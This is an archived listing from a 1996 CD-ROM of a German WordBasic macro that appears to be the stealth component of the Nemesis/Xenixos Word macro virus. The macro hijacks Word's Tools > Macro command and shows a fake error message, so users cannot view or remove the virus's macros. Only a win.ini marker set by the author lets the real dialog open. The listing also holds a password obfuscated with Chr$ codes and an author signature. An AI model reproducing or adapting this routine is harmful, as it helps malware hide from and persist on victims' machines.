home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS2.TXT < prev    next >
Encoding:
Text File  |  1996-04-16  |  671 b   |  27 lines
  1. Macro ExtrasMakro
  2.  
  3. Sub MAIN
  4. 'diese Routine verhindet die Extras Makro Dialog-Box
  5. Dim dlg As OutilsMacro
  6. GetCurValues dlg
  7. On Error Resume Next
  8.  
  9. Diag$ = "0"
  10. Section$ = "Compatibility"
  11. wininistr$ = "0x0020401"
  12. ProfileName$ = "RR2CD"
  13. PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
  14. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  15.  
  16. NoVir$ = GetProfileString$(Section$, ProfileName$)
  17. If (NoVir$ = wininistr$) Or (diag$ = "1") Then
  18.    Dialog dlg
  19.    OutilsMacro dlg
  20. Else
  21.    MsgBox "Diese Option ist derzeit leider nicht verfⁿgbar.", "Fehler", 48
  22. End If
  23.  
  24. 'Dialog dlg
  25. 'ExtrasMakro dlg
  26. End Sub
  27.